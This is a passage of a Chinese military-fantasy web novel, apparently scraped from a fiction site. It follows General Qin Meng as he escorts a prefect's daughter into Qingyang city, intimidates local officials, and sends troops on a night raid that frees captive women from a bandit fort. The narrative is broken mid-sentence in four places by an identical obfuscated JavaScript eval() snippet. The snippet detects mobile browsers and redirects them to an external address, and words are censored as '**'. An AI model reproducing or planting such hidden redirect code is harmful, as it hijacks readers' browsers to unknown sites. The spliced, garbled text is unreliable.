秦猛率麾下骑兵护送车队前行,铁甲在日光下泛着森冷的光,密集的马蹄踏得山道嗡嗡发颤。
整支队伍浩浩荡荡,透着一股慑人的肃杀气!
他虽自恃武力过人、精通军事,却从不敢小觑天下英雄。
见青州府衙军官张崇护队章法稳妥,行事周密,是个将才,他心里已悄悄动了拉拢的念头。
行军途中,秦猛拍马靠近张崇,看似闲聊,慰问伤势,拉拉家常,实则细细询问起一路情况。
“卑职从青州护送至幽州,一路转走,宽敞大道,都派了斥候探查,没敢暴露行迹,故未遭袭击。”
张崇据实回话,话锋却一转,语气添了几分凝重!
“可眼看要到郡城,我一时松懈没派侦察队,林子里竟突然杀出狼戎骑兵。
——那架势,倒不像是误打误撞,反倒像早设好的埋伏。卑职觉得对方就是从我们来的。”
秦猛闻言,眉头微蹙。
他想起此前多位官员在幽州遭遇山贼、**“意外”袭击的事,心里越发肯定,这车队遇袭绝非偶然。
他忽然开口,语气带着几分提醒:“张都头,你们初来乍到可能不知,幽州地处边陲,离中原王庭千八百里,天高皇帝远,可不是什么太平地。”
“将军这话是何意?”张崇眼神一凛,满是疑惑地追问。
秦猛便将从冷燕山贼人处拷问来的情报,捡要紧地提了几句:“四年前九月,幽州监察史赖大人巡视郡县,遭**袭击,当场殒命。
三年前开春,朝廷新派的转运使,在运河上遇袭,连人带船沉了底。
两年前九月,燕北郡郡守赶路时遇袭重伤,送医途中也没撑过去……
不久前,冷艳山贼人袭击边寨。”
“什么?”张崇脸色骤变,眼中满是惊愕,后背瞬间沁出一层冷汗,这些事令他不寒而栗。
秦猛深深看了他一眼,嘴角勾起一抹耐人寻味的笑:“这几位大人遇难之事,朝廷震怒,闹得不小,你入城后,稍作打探便能查到。
而且他们个个声名不错,都是肯为国办事的好官。不知你的老上官林大人,性子又如何?”
“林大人于卑职有救命之恩,深知他性格耿直,在江南、青州任职时,秉公执法,为官清廉!”
张崇声音低沉,对林大人极为敬重。却几乎是咬牙切齿地说,显然,这汉子听出了话外之音。
秦猛见他神情便知此人不是蠢笨之辈。
——拉这位lin郡守一把,结下善缘,官场上多一个外援帮衬,日后行事也能如虎添翼。
他脸色凝重,意味深长地说:“你是聪明人,该察觉出这里头的不对劲了。
回去后转告林大人,往后在任上,务必多加小心。
前两天夜里,还有贼人敢袭击本将的边寨。结果被本官几乎全剿灭,却也审出不少消息。
幽州这趟浑水,很深,贼人的胆子大得很。”
“是!卑职记下了!”张崇虽仍有惊愕,却掷地有声地回应。
“这幽州边陲,主要靠边军和地方官府撑着,说是相互依存,实则各有心思,并不和睦。
如今入冬,界河快冰封了,**也越发猖獗了……”
秦猛看似漫不经心地说着,目光却始终警惕着周遭,还不时扫向那临时加固过的豪华马车。
——那车里坐着的是林大人的千金。
马车内,逃过一劫的林婉儿、琴娘和小蛮,脸上还带着未散的后怕。
三人时不时掀开帘缝,悄悄张望外面的情况。
林婉儿的目光,总不自觉地落在马车外秦猛魁梧的身影上,可每当对方似有察觉转头看来时,她又会慌忙放下帘子,脸颊瞬间飞起两片红晕。
琴娘在一旁看得清楚,忍不住偷笑。
她是过来人,哪能不懂自家小姐的心思。方才那惊险时刻,若不是秦猛如旋风般杀来相救,后果不堪设想。
她凑到林婉儿身边,压低声音打趣:“小姐,我瞧那黑甲将军生得俊朗,又英武不凡。
瞧着顶多二十三四岁,还半点不怕那董都监,定是个有本事的官身。要不然,待会我让小蛮去问问他的名字,还有……是否婚配?”
“好哇好哇!这事交给我!”
侍女小蛮闻言,立刻兴奋地接话,小脸上满是雀跃。
“琴娘,小蛮!”林婉儿的脸蛋更红了,伸手轻捶身边两人,心里却像浸了蜜般甜丝丝的。
可这份甜意没持续多久,她便皱起了柳眉,脸上露出几分苦涩,“我爹的性子你们也知道。
他是文人,向来有些瞧不上武夫,整天巴望着门当户对,断然不会容忍我喜欢一个边陲武人……”
这话一出,琴娘和小蛮瞬间没了声音。
车厢里的气氛,也一下子变得沉闷又压抑。
……
青阳县外,田畴如织,冬麦覆陇,农人扛着锄,挑着桶,穿梭其间,一派规整的繁荣生机。
该县城,作为郡衙治所的边城,三丈多高的城墙下,五万人口**于此,烟火气隐约漫出。
入城时,两百骑兵列阵的气势先让守军绷紧了神经,守门都头立刻带领一队郡兵上前盘查。
一旁的兵马都监董成见状,嘴角勾着幸灾乐祸的笑,阴阳怪气地嘟囔:“哼,睁大你们的眼睛。
可得仔细核对身份,别放了闲杂人等进去。”
马背上的秦猛眼
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16418889|184734||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
皮都未抬,懒得与这些人周旋。
亲卫队长王善当即上前,将腰牌与公文“啪”地递到都头面前,冷声道:“这是我家大人的公文。
你给老子看仔细喽!昔日小南河边堡,如今的铁血军寨,飞虎卫副将秦猛,奉命入城公干。
——尔等敢拦,是嫌命长?”
“秦…秦猛?”这个名字如惊雷劈在董成耳中,他脸上的嘲讽瞬间僵住,取而代之的是极致的恐惧,连维持温文尔雅的仪态都做不到。
他失声惊呼,过于激动,身子一晃,竟真的从马背上直挺挺摔了下去,噗通,重重砸在地上。
“哈哈哈……”引得周围一阵压抑又忍不住的哄笑。
马车里的林婉儿见了,也是捂嘴娇笑。
秦猛斜睨着他,嘴角扯出一抹残忍的弧度:“还算你识相,没去抢那军功,不然,你这颗脑袋早该落地了。”
董成撑着地面想爬起来,本想搬出“董家”的名头放句狠话。
可脑海里突然闪过秦猛一言不合,便斩杀巡检使臣的狠厉作风,到了嘴边的话又硬生生咽了回去,只余下满脸惨白。
随行军卒皆知,当初若有人敢哄抢战利品,下场只会比那巡检更惨,这位是真的敢当场斩杀。
连董成都吓成了这副如见了阎王爷的模样,守城的兵卒们更是面如死灰,一个个僵在原地。
守门都头额头的冷汗顺着脸颊往下淌,牙齿打颤的“咯咯”响,慌忙跪伏在地,声音发颤。
“卑…卑职见过秦…秦将军!”
在燕北郡,“南河堡秦猛”五个字,比**的马蹄声更让人胆寒。
此人向来是一言不合就亮刀,连朝廷命官巡检使臣都敢当场斩于阵前,边防帅司不仅不罚,反倒嘉奖提拔,升他做了铁血军寨的知寨。
城中曾煊赫一时的吴、许两大家族,更是被他一手掀翻,落得家族覆灭,土崩瓦解的下场。
这样的煞星要入城,谁敢拦?
王善拍马凑到刚爬起来的董成面前,脸上挂着笑,话语客气却淬着冰:“董都监,我等奉令来郡城查办奸细、铲除隐患。
按规矩,还得劳烦你安排个驻扎的地方。”
董成憋了满肚子火,心里把“滚远点”三个字翻来覆去骂了几十遍。
可一想到秦猛的狠劲,连喘口气都不敢大声。
按制,边军入城,守军本就该接洽安置、供给粮草,他更没胆子违逆。
董成只能强挤出一张假笑,赶紧点了几个军汉:“放心,早安排妥了!你们跟着他们去城内军营。”
说完,他脸丢尽了,哪里还敢多留?
生怕再被秦猛盯上,带着自己的人灰溜溜地走了。
第74章 青阳郡城
“入城!”秦猛一挥手,两百骑兵浩浩荡荡入城,马蹄踏在砖石路上,发出整齐的“哒哒”声。
一路畅通无阻,连守城的兵卒都没敢上前盘问半句。
守军们见状,长长松了口气,握着**的手悄悄松开,额角的冷汗顺着脸颊滑落。
实在是秦猛凶名深入人心,他们以为要出乱子。如今队伍顺利入城,悬着的心总算落了地。
车队里的张崇和幸存兵卒满是疑惑。
你看看我,我看看你,眼神里满是不解。
他们是外乡人,实在摸不透,为何这郡城的守军见了这位边寨来的秦将军,竟怕成这副模样?
林婉儿攥紧了衣角,指尖几乎要嵌进布料里。
她悄悄抬眼,望着秦猛挺拔的背影,却暗自将“秦猛”这个名字牢牢刻在了心里。
——若不是这位将军,她此刻不是香消玉殒就是落入**手中,哪还能活着踏入这繁华郡城。
队伍穿过瓮城,青阳城的热闹才真正铺开。
相比南河城寨处处透着的肃杀之气,这里少了分紧张,却多了几分烟火气,越发显得繁华。
主街宽阔,足够四匹马并行,行人摩肩接踵,大多穿着体面,脸上带着安稳日子该有的平和。
古色古香的屋宇下,绸缎庄、粮铺、酒楼、杂货行一字排开,幌子在风中轻轻摇曳,上头的字迹清晰醒目,一眼就能看清各家的营生。
街边的摊贩喊叫声络绎不绝,卖糖葫芦的小贩扛着草靶子,糖衣裹着的山楂透着鲜红;
蒸包子的铺子冒着热气,白面馒头的香气飘出老远;连西域来的胡商都摆着摊子,高鼻梁上架着异域风情的银饰,用蹩脚的汉话高声叫卖着皮货、香料和药材,引得不少人围观。
“秦将军。”张崇策马来到秦猛身边,勒住缰绳,对着秦猛拱手行礼,语气里满是感激。
:“大恩不言谢!我等需去郡衙交割,复命。他日张某必定登门拜谢,今日就先别过了!”
说罢,他对着秦猛再行一礼,带着剩余人手护着车队,转向了通往郡衙的另一条路,车队的车轮碾压着路面,渐渐消失在人群中。
那豪华马车中似乎传来女子的叹息,
秦猛则领着骑兵队伍跟着几名引路的军卒往前走,马蹄声被街上喧嚣掩盖,倒也不显得突兀。
没走多远,旁边的巷子里忽然挤出七八个穿着各异的汉子,有的穿着短打,有的罩着粗布长衫。
老远就朝着秦猛的方向喊着“秦大人”,快步凑上来接应。
这是常胖子留在青阳城的人手,早就得了消息,特意在这里等着,好帮秦猛处理些杂事。
秦猛对着他们微微点头,示意他们入队随行。队伍则继续往军营的方向去,脚步没有丝毫停顿。
这座军营靠在北城区,紧挨着城墙。
规模虽不算大,但营寨规整,栅栏、帐篷一应俱全,容下三五百人却绰绰有余。
而且离城中心的县衙、郡衙都近,办事也方便。
安顿好队伍,让兵卒们各自归营歇息,秦猛又让人去县衙催办粮草,免得队伍断了供给。
随后,他叫来了袁飞和王善,语气严肃地嘱咐:“队伍歇稳了,就抓紧时间操练磨合。
对了,还有那批俘虏,你们多派些人手看好,别让人钻了空子,把他们灭了口,这些人还有用。”
秦猛补充道,眼神里带着几分警惕。
——青阳城鱼龙混杂,保不齐有人不想让俘虏开口。
袁飞和王善连忙点头应下,齐声说“属下明白”,不敢有半分懈怠。
随后,秦猛换了身寻常的粗布衣裳,把腰间的佩刀藏在衣襟下,只带着几个亲卫悄悄出了营。
在常九安排的接应人员带领下,在城里慢慢巡视。
他想看看这座郡城的真实情况。
青阳城有边军守着,**虽时常来边境骚扰,但大多只在城外劫掠,没真正攻进过城。
所以城内倒没出过太大乱子,日子还算安稳。
燕北郡与广袤的草原接壤,当地百姓除了种地,也有不少擅长放牧的,家里养着马牛羊。
这些牲口不仅能自用,还能卖给商贩,引得不少腹地州府的商贩专程来收购,再运去其他地方卖。
街上的行人、商队络绎不绝。
有的商队还带着骆驼,一看就是从远方来的;
甚至还有艺人在街边摆台表演,有耍杂耍的,有卖唱的,琵琶、二胡的声音顺着风飘过来,吸引了不少路人围观看热闹,城内热闹非凡。
走了没一会儿,前方忽然传来一阵悠扬的琴瑟声,夹杂着女子的歌声,调子婉转,比街边艺人的表演精致多了。
秦猛顺着声音望去。
只见不远处有几座气派的酒楼,朱红的大门,雕花的窗棂,门口站着穿着体面的伙计,正笑着迎送客人。
而酒楼旁边,还有两家挂着“红袖坊”“倚春楼”幌子的青楼,琴声和歌声就是从那里飘出来的,隔着老远都能闻到楼里飘出的熏香。
这些地方显然不是普通人能进的,门口驻足的行**多只是远远看着,眼里满是羡慕。
——能在里面寻欢作乐的,都是城内的富户公子,或是当官的老爷,寻常百姓连门槛都摸不到。
秦猛看了一眼,便收回了目光,继续往前走,心里却对青阳城的贫富差距有了些底。
郡城看着确实热闹,表面上还算安稳,可仔细看就会发现不对劲。
街边的墙角下,还有那些偏僻的巷子里,缩着不少从边境逃来的流民。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16418890|184734||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
他们大多衣衫破烂,有的甚至连鞋子都没有,光着脚踩在冰凉的地上,脸黄肌瘦,一看就是饿了好几天。
还有些流民拖家带口,女人怀里抱着哭闹的孩子,老人则拄着拐杖,缩在角落里瑟瑟发抖。
实在没办法了,就捧着个缺口的破碗,怯生生地向行人乞讨,声音细若蚊蝇,生怕惹得路人不耐烦。
谁都知道,大周北疆的界河防线长达数千里,贯穿雍、并、幽等好几个州府。
这些年**越来越猖獗,屡屡越过防线来劫掠,烧杀抢掠,无恶不作,那些被祸害得家破人亡的百姓,只能往内地逃。
青阳城作为郡城,自然成了他们的落脚地之一。
秦猛没说话,只是带着人默默走着,把城里的真实情况一一记在心里。
他偶尔会停下脚步,跟身边的**等人低声商议。
打算等回头跟县衙提及此事,让县衙在城内各处张贴榜文,号召这些无家可归的流民前往铁血军寨安顿,有条活路,也能给军寨添人手。
而“秦猛来青阳城办案”的消息,早已像长了翅膀似的在城里悄悄传开,暗地里搅起了不小的波澜。
郡丞府内,董成一脚踏进门,指着门外方向,胸口剧烈起伏:“伯父!您可得为我做主。
那秦猛也太狂妄了!刚入青阳城就对我冷嘲热讽,还说要彻查城里的事,说什么抓捕奸细。我看来者不善,根本没把咱们郡丞府放在眼里!”
总之,董成在秦猛面前吃了瘪,正对着自己的伯父、燕北郡丞董袭咬牙切齿地告状,把秦猛这厮的“狂妄蛮横”添油加醋说了一遍。
董袭在官场摸爬滚打半辈子,静静地听着,指尖摩挲着茶盏边缘,釉色在烛火下泛着冷光。
他抬眼瞥了眼气急败坏的侄子,声音沉得像浸了水的石头:“急什么?他秦猛是奉旨办案,还是另有所图,现在下结论太早。”
“可他这态度明摆着是来挑事的!”
董成急得直跺脚,“再放任下去,后果不堪设想。郡守千金安然回到郡城,就是他狗拿耗子。”
董袭放下茶盏,指节轻轻叩了叩桌面:“明日备一桌宴席,就说为他接风洗尘。是骡子是马,席间聊一聊,总能探探他的底。”
与此同时,县衙里的刘伟刚听完下属的禀报,手里的茶杯“哐当”一声砸在地上,滚烫的茶水溅了满裤腿,他却像没知觉似的,
他瘫坐在椅子上喃喃自语:“完了,完了……他肯定是来算旧账的!肯定是之前那几桩事。这凶人这回亲自跑过来,就是要找我报仇的啊!”
下属想劝两句,却见刘伟双手抓着头发,身子抖得像筛糠,话到嘴边又咽了回去。
——县丞这副模样,显然是被秦猛的名头吓破了胆。
第75章 探查与暗流
夕阳西下,金色的霞光洒落在大地上,把青阳城的屋顶都染成了暖黄色,街上的行人渐渐少了些,摊贩们也开始收拾摊子,准备回家。
秦猛带人混入渐渐稀疏的人群中,如同寻常百姓四处闲逛。
他偶尔会停下脚步,询问店铺伙计,了解些城内的情况。
这次出来,主要目的有三点。
一是记住城内大致的地形,搞清楚郡衙、县衙、军营这些重要地方的坐落位置,还有城内兵力的分布情况,免得日后办事摸不着方向。
二是了解城内富户的情况,看看哪些富户口碑好,实实在在做生意、还肯接济逃难的流民。
哪些富户臭名昭著,靠着欺压百姓、勾结官府发横财。从百姓口中得知,他心里也好有个数。
三是按照产业地契上的地址,确认刘德才在青阳城的产业。
果然,这些产业都在十字路口、主街旁边这种热闹的街道上,都是寸土寸金的黄金地段。
秦猛没有亲自出面,而是让**带着两个亲卫,假装成外地来的商贩,前去打探情况。
在钱财的开道下,从几家商户的伙计、酒楼的跑堂那里,**很快就摸清了情况。
——近来,这些原本属于刘德才的产业,都来了些陌生面孔接管,还把原来的老掌柜、老伙计都辞退了。
不用想也知道,是刘德福插了手,把这些产业占为己有。
得知这个消息,秦猛心里针对刘德福下手的想法更坚定了。收拾这种奸诈之徒是为民除害。
经过这一下午的观察,他对这座边陲郡城有了基本了解。
城里的百姓大多还算安居乐业,能吃饱穿暖,街上的商铺也都正常营业。
但酒楼、茶馆里到处都在议论**,担心今年冬季酷寒,**哪天来犯,是否会攻进城里。
可见,**的骚扰给百姓带来了不少恐慌。
眼下青阳城最大的问题,还是草原上的**。
以及那些因**而流离失所的流民。
城内阴影角落里的流民,粗略算下来至少有数百人。
县衙、郡衙还有城内的富户,对这些流民的安置却没什么动作,既没有施粥,也没有安排住处,任由他们在街头流浪,实在说不过去。
“果然,郡城没有主事的长官,弊端都显现出来了。”
秦猛眯眼望着西边天际的残阳,夕阳的余晖落在他脸上,眼里的寒光却不自觉地迸现。
——看来这青阳城,也需要好好整顿一番了。
随后,他带着人返回军营,刚进营门,王善就第一时间迎了上来汇报,手里拿着一张帖子:
“大人,您走后不久,县衙就派人来了,说知县晚上设宴,请您去县衙赴宴;郡衙那边也派人来传话,说董郡丞明日设宴,想为您接风。”
“嗯,正好,我正想去拜访他们。”秦猛点头,对这个结果并不意外,有得谈,最好不过!
他转身返回自己的营房,换上了轻甲,又留下王善、庞仁两人坐镇军营,免得营里出什么岔子。
随后,他叫上袁飞随行充门面,带上**等几名亲兵,牵着马出了军营,准备去县衙赴宴。
“秦大人,卑职见过秦大人!”刚走到营门外,就有人高声呼喊。
秦猛停下脚步,转头一看,赫然是老熟人张琨,正在营门外徘徊,见秦猛出来,立刻快步跑了过来。
张琨跑到秦猛面前,正准备叩拜行礼,却被秦猛伸手制止住了:“不用多礼,都是自己人。”
“谢大人。”张琨连忙起身,连连对着秦猛作揖,再次看到秦猛,他心里既复杂又庆幸。
——复杂的是秦猛如今的地位,早已不是当初那个在堡里被人欺负的“傻子”;庆幸的是自己破财免灾,现在看来,自己当初的选择是对的。
他早就听说了,这位秦将军从“傻子”崛起后,就一发不可收拾!
短短半月不到,就从一个普通的堡兵,跳过堡主,成为了铁血军寨的知寨官,飞虎卫副将。
成了真正的七品官、职,身份显赫,地位比青阳城的知县丝毫不差,甚至还要更受重视。
“这是个机会,我一定要把握住,跟紧秦大人……”
张琨得知秦猛来青阳城的消息后,这般自我鼓劲。一得到消息,就赶来军营外等着拜见秦猛。
“不知张班头有什么事?”秦猛看着张琨,语气平和地问道,他猜到对方肯定是有事相求。
张琨不敢有任何隐瞒,连忙凑到秦猛身边,压低声音,把自己的来意一五一十地说了出来。
“大人,卑职是替人来的,是本县的刘县丞。他得知您来了青阳城,还以为您是来找他算账的。
差点给吓死,急忙找到卑职,让我给您带个话,说之前军功田的事,都是被刘德才逼的。他也是没办法,抹不开这个面子,身不由己。”
“他还说,愿意破财免灾,只要您能饶过他,他愿意出……”说到最后,张琨的声音压得更低了,一边说一边伸手比划着,生怕被别人听到。
“他愿意出两千两银票,还有一千石粮食,而且他管着青阳县的事,可以划拉更多粮草。多给军营送牲口,只求您宽宏大量,放他一马!”
秦猛听着,眼神微微闪烁,心
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16418891|184734||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
里快速盘算着。
这刘县丞虽然有错,但罪不至死,而且留着他,以后在县衙办事也方便些,还能拿到粮草,牲口,以及倒腾物资,倒是个划算的买卖。
沉吟片刻后,他对着张琨点了点头,答应下来:“可以,就当我卖你这个面子。你回去告诉刘县丞,只要他好好办事,别再跟我耍花样。
秦猛放他一回。我也不是那种滥杀无辜的人,只要他不触碰到我的底线,好日子还在后头。”
“多谢大人体恤!卑职这就回去跟刘县丞说!”张琨听到这话,心里顿时激动起来,连连对着秦猛道谢,脸上满是喜色,事办成,他也有好处。
“不过,你也不能白跑一趟。”秦猛话锋一转,看着张琨,语气严肃起来:“你得按照我给你的名单,把青阳县富户召集,说是秦猛有买卖……”
张琨连忙点头,拍着胸脯保证:“大人放心!这件事包在卑职身上,明天,卑职定当依计行事。把药请的人请到绝不会耽误您的事儿。”
说完,他又对着秦猛行礼,欢天喜地地转身离开。
秦猛翻身上马,率队直奔县衙赴宴。
……
……
郡守府,后院的腊梅开得正盛!
林安国刚处理完府内琐事,安抚好跟随自己多年的老部下,又给死去仆人的家属发放抚恤金。
他脚步才终于轻快起来,朝着林婉儿的住处走去。
掀开门帘的瞬间,见女儿正坐在窗边看书,如以前那般温婉的模样,倒看不出受到惊吓。
他悬了半月的心骤然落地,快步上前,声音里难掩喜悦:“婉儿,爹爹来了,可算安好?”
林婉儿抬头见是父亲,眼眶一红,起身扑进他怀里:“爹!今天好险,女孩怕见不到爹爹。”
林安国轻轻拍着女儿的背,指尖带着后怕的颤抖,却笑着宽慰:“回来就好,回来就好,以后你就在郡城,有爹在,没人再能伤你。”
父女两三个月未见,有说不完的话,
入夜后,林安国在书房召见张崇,烛火将两人的影子映在墙上。听张崇细说队伍遇袭的经过。
重点强调铁血军寨秦猛率队现身相救,并且将他的推测,以及幽州险恶等事情详细说来。
林安国原本平和的眼神渐渐锐利,听到狼戎骑兵似乎是专程等待,又知道是郡守家眷时。他眼中陡然迸出寒光,指节无意识地叩着桌案:
“果然如我所料,明升暗降,边陲之地,凶险万分。”
“秦猛……此人倒有几分胆识。他率军前来,当是来者不善,看来,这燕北郡城,要变天喽!”
第76章 夜夺冷艳山
冷艳山笼罩在暮色之中,山风呼啸,吹得枯枝簌簌作响。
张富贵蹲在一块巨石后,锐利的目光扫视着山腰处的山寨轮廓。
“铁山,你看那寨门,守备比预想的还要松懈。”张富贵压低声音,手指无声地点向山寨火光处。
王铁山眯眼细看,嗤笑一声:“大人说得没错,严彪这厮,带走了所有精锐喽啰,就留这些老弱病残守家,合该今日栽在咱们手里。”
他摩挲着腰间刀柄,眼中闪过猎人般的锐光。
两人率领骑兵队,专走僻静小道,避开人烟耳目。于昨日凌晨出发,今天黄昏时分抵达。
埋锅造饭,将士休整。
入夜后,人衔枚,马戴嚼,摸上山来。
王铁山观察地势,说道:“富贵兄,你正面突进,我带人从后山摸过去,避免逃脱一人。”
张富贵微微颔首,却不急于行动。
他从怀中掏出一张粗糙的山寨布局图。
——这是出发前秦猛亲自交给他的,是经过审讯得到,上面密密麻麻标注了可能的哨位和暗道。
“弟兄们,按计行事。”
“记住,要快、要狠、要静。”
张富贵的声音低沉而有力,“得手后以红炮为号。”
红炮,是火器作坊的产物,高空**,红色火光缓缓消散。这是特殊号炮,类似信号弹。
百余名精锐迅速套上准备好的黑袍,遮挡住铁叶甲,防止反光,脚步尽量放轻,悄无声息。
张富贵特意让几个身形魁梧的士卒打扮成严彪亲信的模样。
他自己则换上一件带熊皮滚边的外袍,远看与严彪有七八分相似。
“行动!”
张富贵一马当先,王铁山押后策应。
一行人如鬼魅般摸近寨门,脚步轻得连林中的夜枭都未惊动。
“什…什么人?”寨墙上一名贼匪被细微的响动惊醒,刚欲呼喊,就被张富贵一箭封喉。
另一守卒骇然欲逃,王铁山手中腰刀已脱手飞出,正中心窝。
“!”张富贵赞许地瞥了王铁山一眼。
王铁山咧嘴一笑,露出森白牙齿,带人散开。
寨门被悄无声息地推开,张富贵带队如潮水涌入。留守的三十余名老弱匪徒尚未反应过来,已被四面合围。
几个负隅顽抗的顷刻毙命。
机灵者察觉到不对,想借着夜色从后山跑路。
好死不死撞到王铁山带领的几支小队。
一拥而上,将其按倒在地,余者皆跪地求饶,瑟瑟发抖。
“哼,我等乃是铁血军寨边军将士,奉命剿匪。”张富贵提着狼牙棒,恶狠狠地看着这群俘虏。
“亏得大人仁慈,凡罪不至死,卖苦力,劳动改造。要是敢跑,直接打死,丢到后山喂野狗。”
“是!”众军汉整齐划一地回应。
“控制各处要道,搜查所有房屋,不得遗漏一人。”
张富贵令下,士卒们立即分头行动。
王铁山带队直奔粮仓、库房等重地。
不一会儿,他就咧嘴傻笑,兴冲冲地回来报喜。
“富贵,富贵…,大了,咱们发大了!
“粮仓里堆满粮食袋,没有统计,目测两千多石。
布匹库里光绢帛就有百余匹,粗麻布三百余匹。还有十几车毛皮,棉花,数百余坛陈年酒酿...”
张富贵打断他:“库房银钱呢?”
“现银八千多两,黄金五百两,铜钱堆积数不清。
后院还有驴骡上百头,耕牛四十多头,肥羊两百余头,鸡鸭家禽几十笼,这些贼人吃穿不愁。”
王铁山兴奋地搓着手,“猛哥儿果然神机妙算,冷艳山空虚,财富甚多,这回马**得好哇。
这黑山熊**这么多年,真是攒下金山银山了!”
张富贵神色却愈发凝重:“钱粮物资,清点造册。我们是铁血堡寨,纪律森严的边军精锐。”
他特意加重了“边军”“造册”几字。
“明白。”王铁山立即会意,重重点头。
此举,是要确保所有战利品如实上报,半点不得私藏。
张富贵横肉脸上露出笑容,果断分配任务:“好,你负责统计,我来安排,加强警戒。
大人常训:莫要被钱财蒙眼,胜易骄,骄必败。”
“别忘了,这山寨还有条漏网之鱼。”
王铁山郑重点头回应:“我这就安排人登记,每一笔都记清楚来源去处,绝不让人私拿半分!”
说罢,他欲转身招呼军卒前往仓房。
就在这时,西厢房方向突然传来一阵嘈杂的脚步声。
一个满脸急色的军卒连滚带爬地跑过来,声音发颤:“张、张队将,王队将!西厢房那边……
搜出好多女人,还有人没穿衣裳,吓得直哭。”
“女人?”张富贵与王铁山对视一眼,皆是脸色一变,拔腿就往西厢房赶。
刚到院门口,屋里传来压抑的啜泣声更甚,几个军卒在外面满脸尴尬,见到队将来了松了口气。
张富贵,王铁山推门进去。
只见昏暗的房间里,二十多个女子挤在墙角,有的裹着破旧的被褥,有的只搭着几片碎布,露出的皮肤上满是青紫的伤痕,双眼红肿得像核桃。
见有人进来,女人们吓得纷纷往角落缩,哭声更显凄厉。
“都别动!我们是铁血堡寨的边军,不是山贼!”
张富贵立刻放缓声音,抬手示意身后的兵卒退到门外,自己上前两步,尽量让神情显得温和。
“我
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16418892|184734||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
是边寨队将张富贵,这是王铁山,我们已经把冷艳山的贼人全部剿灭,你们,安全了。”
见女子们依旧惊魂未定,王铁山也粗声粗气道:“别怕!那些掳掠人口,杀千刀的恶徒都将公审,被处决,以后没人敢欺负你们!”
过了好一会儿,才有一个年纪稍长、衣衫相对整齐的女子颤抖着开口:“官、官爷……你们真是边寨官军?真的把那些贼人杀了?”
“千真万确!”张富贵点头,“冷艳山大当家、三当家还有所有头目,一个没跑,非死即伤。
你们都是被他们劫掠来的良家女子?”
女子们觉得这伙人没恶意,这才敢抬起头,泪水又涌了出来,七嘴八舌地诉说着自己的遭遇。
——有的是赶集时被掳,有的是在家中被抢,还有的已经被关在山寨里半年多,日夜受着欺凌。
张富贵越听脸色越沉,猛地一拳砸在旁边的桌案上,木桌当即裂开一道缝:“这群畜生,杀得好!”
“当初就该把他们**万段!”王铁山也气得咬牙,骂咧着让那些山贼死得更痛快,便宜他们了。
骂完,张富贵立刻吩咐兵卒:“去营里找些干净的旧衣裳来,多拿几件,给姑娘们穿上。
再烧点热水,拿些干粮过来!”
他又转向女子们,语气放缓了些,“姑娘们放心,我们会派人护送你们回家,要是家里没人了,也能跟着我们回铁血堡寨,安顿下来。”
很快,几个军汉抱来一堆干净的粗布衣裳。
张富贵和王铁山转身退到门外,任由女子们穿戴。
屋里的啜泣声渐渐小了,偶尔传来几句低声的感谢。
张富贵站在院外,想着女子的遭遇,心里暗道:猛子说得对,打仗不光是杀贼,更要护着这些底层百姓,不然,赢了又有什么用?
士卒们很快在寨中各处布防。
张富贵亲自巡视,检查哨位,不仅明哨加倍,还设置了多处暗哨,**全部上弦,严阵以待。
“富贵,何必如此紧张?”王铁山有些不解。
“严彪主力已被咱们尽数歼灭,就算外面有个二当家。眼下正值深夜他又能掀起什么风浪?”
张富贵站在寨墙上,目光如炬地扫视着山下:“铁山,你记得大人说过的话吗?''战场上最致命的往往不是明处的敌人,而是暗处的疏忽''。
咱们亲自审讯贼人,知道这山寨与地方官府勾结。咱们外出作战,谁也不能保证意外何时来。”
张富贵想到秦猛酒桌上讲解的战术,深以为然:“你看这冷艳山易守难攻,得以防万一,若是像我们那般夜袭,咱们可就成了瓮中之鳖。”
王铁山闻言肃然,不再多言。
第77章 风波再起
冷艳山下,马灯火光蜿蜒如长龙。
一支百多人的骑兵疾驰而来,呼啸的山风盖不住马蹄声,“得得”声在寂静山谷中格外清晰。
